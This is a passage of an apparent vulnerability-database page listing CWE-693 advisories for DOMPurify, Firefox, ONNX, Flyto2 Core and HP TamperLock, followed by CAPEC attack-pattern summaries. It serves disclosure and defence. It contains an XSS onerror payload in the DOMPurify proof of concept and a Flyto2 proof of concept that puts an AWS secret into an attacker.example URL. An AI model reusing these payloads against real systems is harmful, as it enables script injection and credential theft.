fires\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"hostIsMainRealmElement\": false,\n    \"shadowRootIsMainRealmDocumentFragment\": false,\n    \"shadowRootIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"shadowRootInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\\\"\u003e\u003cb\u003esafe text\u003c/b\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\nAll three PoCs run cleanly against `dist/purify.js` built from current `main` HEAD `89da34e`.\n\n## Impact\n\n### Direct\n\nAny application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for `\u003cbase href\u003e` isolation, `document.write` sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with `IN_PLACE: true` is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:\n\n- **Form root attributes** \u2014 `onmouseover`, `onfocus`, `onclick`, `action=\"javascript:...\"`, `formaction=`, `target=`, `id=` (DOM-clobbering target), and the full attribute-allowlist set, because `_sanitizeAttributes` walks a clobbered `.attributes` instead of the real `NamedNodeMap`.\n- **`\u003ctemplate\u003e` content** \u2014 `\u003cimg onerror\u003e`, `\u003csvg\u003e\u003cscript\u003e`, `\u003ciframe srcdoc\u003e`, etc., because the inert template tree is never recursed into.\n- **Attached shadow roots** \u2014 any markup inside the shadow root, because the shadow walk is skipped entirely.\n\nXSS triggers when the consuming code:\n- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).\n- Clones template content with `importNode` / `cloneNode(true)` / `node.appendChild(template.content)` into the live DOM.\n- Appends the shadow host to the live document (the shadow root becomes active and `\u003cimg onerror\u003e` fires synchronously during the insertion microtask).\n\n### Indirect / second-order\n\n- **DOM-based template engines** (Lit, Polymer, Vue, FAST) that often use foreign-realm `\u003ctemplate\u003e` parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.\n- **Editor / WYSIWYG frameworks** that render preview content inside a same-origin iframe and then move it into the main document after sanitization.\n- **Email/HTML preview libraries** that parse received HTML in an isolated iframe to neutralize CSS / `\u003cbase\u003e` / form submission, then sanitize via the main page\u0027s DOMPurify.\n- **Declarative shadow DOM consumers** that adopt a host from one realm into another \u2014 the shadow subtree carries the bypass.\n\nThe known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound `instanceof` checks at `[A]`, `[B]`, `[C]`; current `main` HEAD is still affected.\n\n## Root cause\n\nPer-realm constructors. `instanceof X` checks the prototype chain against the parent realm\u0027s `X.prototype`. Foreign-realm objects have a different `X.prototype` and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for `IN_PLACE` sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: *\"we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root.\"*\n\nOther realm-bound `instanceof` sites in the same file that should likely be audited as part of the same fix sweep:\n\n```ts\nelement instanceof HTMLFormElement     // src/purify.ts:1122\nelement.attributes instanceof NamedNodeMap  // src/purify.ts:1126\nsr instanceof DocumentFragment         // src/purify.ts:1706\ncurrentNode.content instanceof DocumentFragment  // src/purify.ts:1861\nshadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)\ncurrentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)\n```\n\n## Suggested fix\n\nUse realm-independent shape checks consistently for any decision made on a node accepted from `IN_PLACE`:\n\n1. **`HTMLFormElement` detection** \u2014 compare via the realm-independent `getNodeName` cached prototype getter introduced for the recent shadow-root traversal hardening:\n\n   ```ts\n   const _isClobbered = function (element: Element): boolean {\n     const nn = getNodeName ? getNodeName(element) : element.nodeName;\n     if (typeof nn !== \u0027string\u0027 || transformCaseFunc(nn) !== \u0027form\u0027) return false;\n     // ... rest of the typeof / cached-getter shape checks ...\n   };\n   ```\n\n2. **`DocumentFragment` detection** \u2014 `nodeType === NODE_TYPE.documentFragment` (i.e., `11`), not `instanceof DocumentFragment`. The check is already realm-independent because `Node.nodeType` is a numeric constant. Same change for the `\u003ctemplate\u003e`-content and attached-shadow-root recursion sites.\n\n3. **`NamedNodeMap` detection** \u2014 read `element.attributes` via the cached `Element.prototype.attributes` getter (introduce `getAttributes = lookupGetter(ElementPrototype, \u0027attributes\u0027)`) and verify `nodeType === 11`-style shape (length is a number, indexed `[i]` returns objects with `.name`/`.value` strings). Do not rely on `instanceof NamedNodeMap`.\n\n4. **`Element` detection** at `:1296` \u2014 replace `currentNode instanceof Element` with a shape check (`getNodeType(currentNode) === NODE_TYPE.element`).\n\nThe invariant the fix should encode: *once `IN_PLACE` accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe.* The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.",
  "id": "GHSA-hpcv-96wg-7vj8",
  "modified": "2026-06-15T19:56:35Z",
  "published": "2026-06-15T19:56:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-hpcv-96wg-7vj8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks"
}

GHSA-HQ5H-HPVX-RQ86

Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-08-21 21:31

Details

Mitigation bypass in the Storage: Cache API component. This vulnerability was fixed in Firefox 154, Firefox ESR 140.14, and Firefox ESR 153.1.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-74959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T13:17:33Z",
    "severity": "CRITICAL"
  },
  "details": "Mitigation bypass in the Storage: Cache API component. This vulnerability was fixed in Firefox 154, Firefox ESR 140.14, and Firefox ESR 153.1.",
  "id": "GHSA-hq5h-hpvx-rq86",
  "modified": "2026-08-21T21:31:41Z",
  "published": "2026-08-18T15:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74959"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2047853"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-74"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-76"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-77"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-78"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-79"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-80"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HQ63-GMJG-M62P

Vulnerability from github – Published: 2024-10-08 18:33 – Updated: 2024-10-08 18:33

Details

Windows Scripting Engine Security Feature Bypass Vulnerability

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-43584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-08T18:15:26Z",
    "severity": "HIGH"
  },
  "details": "Windows Scripting Engine Security Feature Bypass Vulnerability",
  "id": "GHSA-hq63-gmjg-m62p",
  "modified": "2024-10-08T18:33:17Z",
  "published": "2024-10-08T18:33:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43584"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43584"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HQMJ-H5C6-369M

Vulnerability from github – Published: 2026-03-16 16:23 – Updated: 2026-06-08 18:35

Summary

ONNX Untrusted Model Repository Warnings Suppressed by silent=True in onnx.hub.load() — Silent Supply-Chain Attack

Details

What's the issue

Passing silent=True to onnx.hub.load() kills all trust warnings and user prompts. This means a model can be downloaded from any unverified GitHub repo with zero user awareness.

if not _verify_repo_ref(repo) and not silent:
    # completely skipped when silent=True
    print("The model repo... is not trusted")
    if input().lower() != "y":
        return None

On top of that, the SHA256 integrity check is useless here — it validates against a manifest that lives in the same repo the attacker controls, so the hash will always match.

Impact

Any pipeline using hub.load() with silent=True and an external repo string is silently loading whatever the repo owner ships. If that model executes arbitrary code on load, the attacker has access to the machine.

Resolved by removing the feature

References

Write-up

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.20.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.21.0rc1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28500"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-494",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:23:28Z",
    "nvd_published_at": "2026-03-18T02:16:24Z",
    "severity": "HIGH"
  },
  "details": "## What\u0027s the issue\nPassing `silent=True` to `onnx.hub.load()` kills all trust warnings and user prompts. This means a model can be downloaded from any unverified GitHub repo with zero user awareness.\n \n```python\nif not _verify_repo_ref(repo) and not silent:\n    # completely skipped when silent=True\n    print(\"The model repo... is not trusted\")\n    if input().lower() != \"y\":\n        return None\n```\n \nOn top of that, the SHA256 integrity check is useless here \u2014 it validates against a manifest that lives in the same repo the attacker controls, so the hash will always match.\n\n \n## Impact\nAny pipeline using `hub.load()` with `silent=True` and an external repo string is silently loading whatever the repo owner ships. If that model executes arbitrary code on load, the attacker has access to the machine.\n \n## Resolved by removing the feature \n## References\n \n- [Write-up](https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-28500.md)",
  "id": "GHSA-hqmj-h5c6-369m",
  "modified": "2026-06-08T18:35:09Z",
  "published": "2026-03-16T16:23:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/security/advisories/GHSA-hqmj-h5c6-369m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-28500.md"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/onnx/onnx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/onnx/PYSEC-2026-103.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ONNX Untrusted Model Repository Warnings Suppressed by silent=True in onnx.hub.load() \u2014 Silent Supply-Chain Attack"
}

GHSA-HR7P-WG7R-HG9M

Vulnerability from github – Published: 2026-07-30 14:47 – Updated: 2026-07-30 14:47

Summary

Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted

Details

Summary

The capability policy denies the env.get and env.load_dotenv modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands ${env.VAR} for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.

Affected code

src/core/engine/variable_resolver.py:

if var_type == 'env':
    if len(parts) < 2:
        return None
    env_var = parts[1]
    return os.getenv(env_var)      # any env var, no allowlist, not covered by module policy

The module policy (enforce_module_policy in module_policy.py) gates module execution at BaseModule.run, but ${...} interpolation happens earlier in the engine and is not subject to it. So denylisting env.get does not actually stop a workflow from reading host env secrets.

Reproduction

Save as envbypass_poc.py, run with PYTHONPATH=src/src python envbypass_poc.py.

#!/usr/bin/env python3
import os
os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"

from core.module_policy import module_filter
from core.engine.variable_resolver import VariableResolver

print("env.get allowed?       ", module_filter.is_allowed("env.get"))
r = VariableResolver(params={}, context={})
print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}"))
print("into an attacker URL:  ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}"))

Output:

env.get allowed?        False
resolve ${env.SECRET}:  AKIA-operator-super-secret-DO-NOT-LEAK
into an attacker URL:   https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK

env.get is denied, yet ${env.AWS_SECRET_ACCESS_KEY} reads the same secret and drops it straight into a URL. Confirmed through the running API too: a POST /v1/workflow/run step with text: "${env.AWS_SECRET_ACCESS_KEY}" resolved to the secret and returned it in the workflow result (in plaintext — the trace redaction did not mask it).

Reachability (why this is not operator self-service)

The vendor denies env.get by default and states the reason inline — reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. ${env.*} gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on — not intended behavior.

Impact

Read any host environment variable — cloud keys, tokens, DSNs — that the operator relied on the env.get denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker's public host). Reachable via the workflow API and the MCP agent surface.

Suggested fix

Apply the same policy to ${env.*} as to the env.get module: gate it behind an explicit allowlist of permitted variable names and deny by default when env.get is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop ${env.*} and require env values to be passed in explicitly at workflow start.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522",
      "CWE-668",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:47:01Z",
    "nvd_published_at": "2026-07-29T19:16:51Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe capability policy denies the `env.get` and `env.load_dotenv` modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine\u0027s variable resolver expands `${env.VAR}` for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.\n\n## Affected code\n\n`src/core/engine/variable_resolver.py`:\n\n```python\nif var_type == \u0027env\u0027:\n    if len(parts) \u003c 2:\n        return None\n    env_var = parts[1]\n    return os.getenv(env_var)      # any env var, no allowlist, not covered by module policy\n```\n\nThe module policy (`enforce_module_policy` in `module_policy.py`) gates module execution at `BaseModule.run`, but `${...}` interpolation happens earlier in the engine and is not subject to it. So denylisting `env.get` does not actually stop a workflow from reading host env secrets.\n\n## Reproduction\n\nSave as `envbypass_poc.py`, run with `PYTHONPATH=src/src python envbypass_poc.py`.\n\n```python\n#!/usr/bin/env python3\nimport os\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"AKIA-operator-super-secret-DO-NOT-LEAK\"\n\nfrom core.module_policy import module_filter\nfrom core.engine.variable_resolver import VariableResolver\n\nprint(\"env.get allowed?       \", module_filter.is_allowed(\"env.get\"))\nr = VariableResolver(params={}, context={})\nprint(\"resolve ${env.SECRET}: \", r.resolve(\"${env.AWS_SECRET_ACCESS_KEY}\"))\nprint(\"into an attacker URL:  \", r.resolve(\"https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}\"))\n```\n\nOutput:\n\n```\nenv.get allowed?        False\nresolve ${env.SECRET}:  AKIA-operator-super-secret-DO-NOT-LEAK\ninto an attacker URL:   https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK\n```\n\n`env.get` is denied, yet `${env.AWS_SECRET_ACCESS_KEY}` reads the same secret and drops it straight into a URL. Confirmed through the running API too: a `POST /v1/workflow/run` step with `text: \"${env.AWS_SECRET_ACCESS_KEY}\"` resolved to the secret and returned it in the workflow result (in plaintext \u2014 the trace redaction did not mask it).\n\n## Reachability (why this is not operator self-service)\n\nThe vendor denies `env.get` by default and states the reason inline \u2014 reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. `${env.*}` gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on \u2014 not intended behavior.\n\n## Impact\n\nRead any host environment variable \u2014 cloud keys, tokens, DSNs \u2014 that the operator relied on the `env.get` denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker\u0027s public host). Reachable via the workflow API and the MCP agent surface.\n\n## Suggested fix\n\nApply the same policy to `${env.*}` as to the `env.get` module: gate it behind an explicit allowlist of permitted variable names and deny by default when `env.get` is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop `${env.*}` and require env values to be passed in explicitly at workflow start.",
  "id": "GHSA-hr7p-wg7r-hg9m",
  "modified": "2026-07-30T14:47:01Z",
  "published": "2026-07-30T14:47:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-hr7p-wg7r-hg9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67427"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted"
}

GHSA-HRH4-W8WR-G4MX

Vulnerability from github – Published: 2024-02-15 00:30 – Updated: 2024-08-29 21:31

Details

Potential vulnerabilities have been identified in certain HP Desktop PC products using the HP TamperLock feature, which might allow intrusion detection bypass via a physical attack. HP is releasing firmware and guidance to mitigate these potential vulnerabilities.

Severity

6.4 (Medium)


                  
                    CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-48219"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-14T23:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Potential vulnerabilities have been identified in certain HP Desktop PC products using the HP TamperLock feature, which might allow intrusion detection bypass via a physical attack. HP is releasing firmware and guidance to mitigate these potential vulnerabilities.",
  "id": "GHSA-hrh4-w8wr-g4mx",
  "modified": "2024-08-29T21:31:00Z",
  "published": "2024-02-15T00:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48219"
    },
    {
      "type": "WEB",
      "url": "https://support.hp.com/us-en/document/ish_10170895-10170920-16/hpsbhf03907"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-107: Cross Site Tracing

Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-20: Encryption Brute Forcing

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.

CAPEC-480: Escaping Virtualization

An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-65: Sniff Application Code

An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-74: Manipulating State

The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.

State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.

If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.

← Back to the CWE list

CWE-693

Protection Mechanism Failure

Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks

Summary

Affected

Vulnerability details

[A] — _isClobbered gates on element instanceof HTMLFormElement

[B] — _sanitizeShadowDOM gates template recursion on content instanceof DocumentFragment

[C] — _sanitizeAttachedShadowRoots gates recursion on sr instanceof DocumentFragment

The mismatch

Proof of concept

PoC 1 — cross-realm form clobbering survives

PoC 2 — cross-realm <template> content is never walked

PoC 3 — cross-realm attached shadow root is never walked

Impact

Direct

Indirect / second-order

Root cause

Suggested fix

What's the issue

Impact

Resolved by removing the feature

References

Summary

Affected code

Reproduction

Reachability (why this is not operator self-service)

Impact

Suggested fix

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

CAPEC-107: Cross Site Tracing

CAPEC-127: Directory Indexing

CAPEC-17: Using Malicious Files

CAPEC-20: Encryption Brute Forcing

CAPEC-22: Exploiting Trust in Client

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

CAPEC-36: Using Unpublished Interfaces or Functionality

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

CAPEC-480: Escaping Virtualization

CAPEC-51: Poison Web Service Registry

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

CAPEC-59: Session Credential Falsification through Prediction

CAPEC-65: Sniff Application Code

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

CAPEC-74: Manipulating State

CAPEC-87: Forceful Browsing

Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks

[A] — `_isClobbered` gates on `element instanceof HTMLFormElement`

[B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`

[C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`

PoC 2 — cross-realm `<template>` content is never walked